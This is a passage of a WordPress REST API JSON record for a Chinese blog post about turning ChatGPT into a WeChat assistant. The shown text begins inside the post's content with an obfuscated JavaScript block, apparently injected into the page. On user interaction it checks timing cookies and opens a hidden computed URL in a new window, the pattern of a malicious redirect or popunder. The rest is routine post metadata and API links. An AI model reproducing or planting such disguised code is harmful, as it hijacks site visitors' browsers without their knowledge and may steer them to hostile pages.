Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x288873-_0x3ab06f)\/_0x266889);},_0x3f1308=(_0x3a999a,_0x355f3a)=>{const _0x5c85ef=0x3e8*0x3c;return Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x355f3a-_0x3a999a)\/_0x5c85ef);},_0x4a7983=(_0x19abfa,_0x2bf37,_0xb43c45)=>{_0x10ad9f(_0x19abfa),newLocation=_0x2317c1(_0x19abfa),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1b],_0xb43c45),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1c],_0xb43c45),_0x57deba(newLocation),window[_0x365b[0x0]]()&&window[_0x365b[0x1e]](newLocation,_0x365b[0x1d]);};_0x10ad9f(_0xfdead6);function _0x978889(_0x3b4dcb){_0x3b4dcb[_0x365b[0x1f]]();const _0x2b4a92=location[_0x365b[0x20]];let _0x1b1224=_0x2317c1(_0xfdead6);const _0x4593ae=Date[_0x365b[0x21]](new Date()),_0x7f12bb=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b]),_0x155a21=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c]);if(_0x7f12bb&&_0x155a21)try{const _0x5d977e=parseInt(_0x7f12bb),_0x5f3351=parseInt(_0x155a21),_0x448fc0=_0x3f1308(_0x4593ae,_0x5d977e),_0x5f1aaf=_0x381a18(_0x4593ae,_0x5f3351);_0x5f1aaf>=_0x3ddc80&&(_0x10ad9f(_0xfdead6),_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c],_0x4593ae));;_0x448fc0>=_0x480bb2&&(_0x1b1224&&window[_0x365b[0x0]]()&&(_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b],_0x4593ae),window[_0x365b[0x1e]](_0x1b1224,_0x365b[0x1d]),_0x57deba(_0x1b1224)));}catch(_0x2386f7){_0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}else _0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}document[_0x365b[0x23]](_0x365b[0x22],_0x978889);}());<\/script>","protected":false},"excerpt":{"rendered":"<p>\u524d\u8a00 \u6700\u8fd1\u516c\u53f8\u88c1\u5458\u98ce\u6ce2\uff0c\u5f88\u4e0d\u5e78\u6210\u4e3a\u4e86\u88c1\u5458\u540d\u5355\u4e2d\u7684\u4e00\u5458\uff1b\u6b64\u65f6\u53c8\u6070\u9022\u4e00\u6ce2AIGC\u6d6a\u6f6e\uff0c\u9996\u5f53\u5176\u51b2\u7684\u5c31\u662fGPT\u8fd9\u6837\u7684\u5927&hellip; <a class=\"more-link\" href=\"http:\/\/www.fenxiangma.net\/index.php\/2023\/05\/17\/%e8%ae%a9chat-gpt%e6%88%90%e4%b8%ba%e4%bd%a0%e7%9a%84%e5%be%ae%e4%bf%a1%e5%b0%8f%e5%8a%a9%e7%90%86\/\">\u7ee7\u7eed\u9605\u8bfb<span class=\"screen-reader-text\">\u8ba9Chat-GPT\u6210\u4e3a\u4f60\u7684\u5fae\u4fe1\u5c0f\u52a9\u7406<\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[17],"tags":[],"class_list":["post-46","post","type-post","status-publish","format-standard","hentry","category-17","entry"],"_links":{"self":[{"href":"http:\/\/www.fenxiangma.net\/index.php\/wp-json\/wp\/v2\/posts\/46","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/www.fenxiangma.net\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/www.fenxiangma.net\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/www.fenxiangma.net\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/www.fenxiangma.net\/index.php\/wp-json\/wp\/v2\/comments?post=46"}],"version-history":[{"count":1,"href":"http:\/\/www.fenxiangma.net\/index.php\/wp-json\/wp\/v2\/posts\/46\/revisions"}],"predecessor-version":[{"id":47,"href":"http:\/\/www.fenxiangma.net\/index.php\/wp-json\/wp\/v2\/posts\/46\/revisions\/47"}],"wp:attachment":[{"href":"http:\/\/www.fenxiangma.net\/index.php\/wp-json\/wp\/v2\/media?parent=46"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/www.fenxiangma.net\/index.php\/wp-json\/wp\/v2\/categories?post=46"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/www.fenxiangma.net\/index.php\/wp-json\/wp\/v2\/tags?post=46"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}